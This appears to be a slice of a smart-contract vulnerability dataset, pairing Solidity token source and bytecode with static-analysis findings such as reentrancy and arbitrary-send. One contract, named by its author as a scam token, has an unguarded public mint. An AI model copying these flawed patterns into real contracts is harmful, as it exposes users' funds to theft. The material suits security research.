0000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220380ae9c0de203d21868768e725a15a552f9fc61b67a2aa6a185c5f3073b02d1964736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,566 |
0xe9a2090557e9666676168cde58c8e18c5a03b2b7
|
pragma solidity 0.4.20;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a % b;
//uint256 z = a / b;
assert(a == (a / b) * b + c); // There is no case in which this doesn't hold
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address private newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
/**
* @dev The ownership is transferred only if the new owner approves it.
*/
function approveOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is StandardToken {
mapping(address => bool) private allowedAddressesForBurn;
address[50] private burnAddresses;
uint public burned;
event Burn(address indexed burner, uint value);
modifier isAllowed(address _address) {
require(allowedAddressesForBurn[_address]);
_;
}
function BurnableToken(address[50] _addresses) public {
burnAddresses = _addresses;
for (uint i; i < burnAddresses.length; i++) {
if (burnAddresses[i] != address(0)) {
allowedAddressesForBurn[burnAddresses[i]] = true;
}
}
}
/*/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public isAllowed(msg.sender) {
require(_value > 0);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
burned = burned.add(_value);
Burn(burner, _value);
Transfer(burner, 0x0, _value);
}
function burnAll() public {
burn(balances[msg.sender]);
}
function getBurnAddresses() public view returns(address[50]) {
return burnAddresses;
}
}
contract Restrictable is Ownable {
address public restrictedAddress;
event RestrictedAddressChanged(address indexed restrictedAddress);
modifier notRestricted(address tryTo) {
require(tryTo != restrictedAddress);
_;
}
//that function could be called only ONCE!!! After that nothing could be reverted!!!
function setRestrictedAddress(address _restrictedAddress) onlyOwner public {
restrictedAddress = _restrictedAddress;
RestrictedAddressChanged(_restrictedAddress);
transferOwnership(_restrictedAddress);
}
}
contract GEMERAToken is MintableToken, BurnableToken, Restrictable {
string public constant name = "GEMERA";
string public constant symbol = "GEMA";
uint32 public constant decimals = 18;
function GEMERAToken(address[50] _addrs) public BurnableToken(_addrs) {}
function transfer(address _to, uint256 _value) public notRestricted(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public notRestricted(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
|
0x6060604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde031461015e578063095ea7b3146101e857806318160ddd1461020a57806323b872dd1461022f578063313ce5671461025757806340c10f191461028357806342966c68146102a557806366188463146102bd57806370a08231146102df57806373f42561146102fe578063742c81e4146103115780637d64bcb4146103245780637f4ae68d146103375780638da5cb5b1461036657806395d89b411461037957806398973f2b1461038c5780639975038c146103ab578063a9059cbb146103be578063b968a53c146103e0578063d73dd6231461042c578063dd62ed3e1461044e578063f2fde38b14610473575b600080fd5b341561014257600080fd5b61014a610492565b604051901515815260200160405180910390f35b341561016957600080fd5b6101716104a2565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ad578082015183820152602001610195565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f357600080fd5b61014a600160a060020a03600435166024356104d9565b341561021557600080fd5b61021d610545565b60405190815260200160405180910390f35b341561023a57600080fd5b61014a600160a060020a036004358116906024351660443561054b565b341561026257600080fd5b61026a61057f565b60405163ffffffff909116815260200160405180910390f35b341561028e57600080fd5b61014a600160a060020a0360043516602435610584565b34156102b057600080fd5b6102bb600435610680565b005b34156102c857600080fd5b61014a600160a060020a0360043516602435610793565b34156102ea57600080fd5b61021d600160a060020a036004351661088d565b341561030957600080fd5b61021d6108a8565b341561031c57600080fd5b6102bb6108ae565b341561032f57600080fd5b61014a61093c565b341561034257600080fd5b61034a6109c7565b604051600160a060020a03909116815260200160405180910390f35b341561037157600080fd5b61034a6109d6565b341561038457600080fd5b6101716109e5565b341561039757600080fd5b6102bb600160a060020a0360043516610a1c565b34156103b657600080fd5b6102bb610a9a565b34156103c957600080fd5b61014a600160a060020a0360043516602435610abe565b34156103eb57600080fd5b6103f3610af0565b604051808261064080838360005b83811015610419578082015183820152602001610401565b5050505090500191505060405180910390f35b341561043757600080fd5b61014a600160a060020a0360043516602435610b39565b341561045957600080fd5b61021d600160a060020a0360043581169060243516610bdd565b341561047e57600080fd5b6102bb600160a060020a0360043516610c08565b60045460a060020a900460ff1681565b60408051908101604052600681527f47454d4552410000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6039546000908390600160a060020a038083169116141561056b57600080fd5b610576858585610c67565b95945050505050565b601281565b60035460009033600160a060020a039081169116146105a257600080fd5b60045460a060020a900460ff16156105b957600080fd5b6001546105cc908363ffffffff610d7d16565b600155600160a060020a0383166000908152602081905260409020546105f8908363ffffffff610d7d16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610eaa8339815191528460405190815260200160405180910390a350600192915050565b33600160a060020a03811660009081526005602052604081205490919060ff1615156106ab57600080fd5b600083116106b857600080fd5b33600160a060020a0381166000908152602081905260409020549092506106df9084610d93565b600160a060020a03831660009081526020819052604090205560015461070b908463ffffffff610d9316565b600155603854610721908463ffffffff610d7d16565b603855600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58460405190815260200160405180910390a2600082600160a060020a0316600080516020610eaa8339815191528560405190815260200160405180910390a3505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156107f057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610827565b610800818463ffffffff610d9316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60385481565b60045433600160a060020a039081169116146108c957600080fd5b600454600354600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600480546003805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60035460009033600160a060020a0390811691161461095a57600080fd5b60045460a060020a900460ff161561097157600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b603954600160a060020a031681565b600354600160a060020a031681565b60408051908101604052600481527f47454d4100000000000000000000000000000000000000000000000000000000602082015281565b60035433600160a060020a03908116911614610a3757600080fd5b6039805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383169081179091557fe70e47c7d6d2adce211b01e08d016c4afa1a90c764c829a637a732f35bb25f6460405160405180910390a2610a9781610c08565b50565b600160a060020a033316600090815260208190526040902054610abc90610680565b565b6039546000908390600160a060020a0380831691161415610ade57600080fd5b610ae88484610da5565b949350505050565b610af8610e80565b600660326106406040519081016040529190610640830182845b8154600160a060020a03168152600190910190602001808311610b12575050505050905090565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610b71908363ffffffff610d7d16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610c2357600080fd5b600160a060020a0381161515610c3857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610c7e57600080fd5b600160a060020a038416600090815260208190526040902054610ca7908363ffffffff610d9316565b600160a060020a038086166000908152602081905260408082209390935590851681522054610cdc908363ffffffff610d7d16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610d22908363ffffffff610d9316565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610eaa8339815191529085905190815260200160405180910390a35060019392505050565b600082820183811015610d8c57fe5b9392505050565b600082821115610d9f57fe5b50900390565b6000600160a060020a0383161515610dbc57600080fd5b600160a060020a033316600090815260208190526040902054610de5908363ffffffff610d9316565b600160a060020a033381166000908152602081905260408082209390935590851681522054610e1a908363ffffffff610d7d16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610eaa8339815191528460405190815260200160405180910390a350600192915050565b6106406040519081016040526032815b600081526000199091019060200181610e9057905050905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058204a9767ffc3de81bed0884824d7f3702b8819e6e6d0a4821e38ead6f433c1ccb70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,567 |
0x6351d8122131d6a0d2933054c52617f11bf773d3
|
// CGT IS THE BEST DISCORD EVER!
// https://discord.gg/jbHKHTS
// LOVE FROM ETHERGUY
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract SCAMTOKENBYETHERGUY_CGT_BEST_DISCORD is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string public name = "SCAM";
string public symbol = "SCAM";
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function mint(address account, uint256 amount) public {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
|
0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c57806339509351146101c657806340c10f19146101ea57806370a082311461021057806395d89b4114610231578063a457c2d714610246578063a9059cbb1461026a578063dd62ed3e1461028e575b600080fd5b3480156100bf57600080fd5b506100c86102b5565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a0360043516602435610343565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a6103c1565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a03600435811690602435166044356103c7565b3480156101d257600080fd5b50610161600160a060020a036004351660243561053c565b3480156101f657600080fd5b5061020e600160a060020a03600435166024356105ec565b005b34801561021c57600080fd5b5061018a600160a060020a0360043516610696565b34801561023d57600080fd5b506100c86106b1565b34801561025257600080fd5b50610161600160a060020a036004351660243561070c565b34801561027657600080fd5b50610161600160a060020a0360043516602435610757565b34801561029a57600080fd5b5061018a600160a060020a0360043581169060243516610836565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561033b5780601f106103105761010080835404028352916020019161033b565b820191906000526020600020905b81548152906001019060200180831161031e57829003601f168201915b505050505081565b6000600160a060020a038316151561035a57600080fd5b336000818152600160209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b600160a060020a0383166000908152602081905260408120548211156103ec57600080fd5b600160a060020a038416600090815260016020908152604080832033845290915290205482111561041c57600080fd5b600160a060020a038316151561043157600080fd5b600160a060020a03841660009081526020819052604090205461045a908363ffffffff61086116565b600160a060020a03808616600090815260208190526040808220939093559085168152205461048f908363ffffffff61087816565b600160a060020a038085166000908152602081815260408083209490945591871681526001825282812033825290915220546104d1908363ffffffff61086116565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6000600160a060020a038316151561055357600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610587908363ffffffff61087816565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a038216151561060157600080fd5b600254610614908263ffffffff61087816565b600255600160a060020a038216600090815260208190526040902054610640908263ffffffff61087816565b600160a060020a0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561033b5780601f106103105761010080835404028352916020019161033b565b6000600160a060020a038316151561072357600080fd5b336000908152600160209081526040808320600160a060020a0387168452909152902054610587908363ffffffff61086116565b3360009081526020819052604081205482111561077357600080fd5b600160a060020a038316151561078857600080fd5b336000908152602081905260409020546107a8908363ffffffff61086116565b3360009081526020819052604080822092909255600160a060020a038516815220546107da908363ffffffff61087816565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000808383111561087157600080fd5b5050900390565b60008282018381101561088a57600080fd5b93925050505600a165627a7a7230582027e7d02a73b28de91db26a7c280faca200750d82455bd331290acdc4c21bb9950029
|
{"success": true, "error": null, "results": {}}
| 3,568 |
0x0ef5dcd8599ebdaaac0ed9607ad1b3b35773b326
|
/**
*Submitted for verification at Etherscan.io on 2022-03-20
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
